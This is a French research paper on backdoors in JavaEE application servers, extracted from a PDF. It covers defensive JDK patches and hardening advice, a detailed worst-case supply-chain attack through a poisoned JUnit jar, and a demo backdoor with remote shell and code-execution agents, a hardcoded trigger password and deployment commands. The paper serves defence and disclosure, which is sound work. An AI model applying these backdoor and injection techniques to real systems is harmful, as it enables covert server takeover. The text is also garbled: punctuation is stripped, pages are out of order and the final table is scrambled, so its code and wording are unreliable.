Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
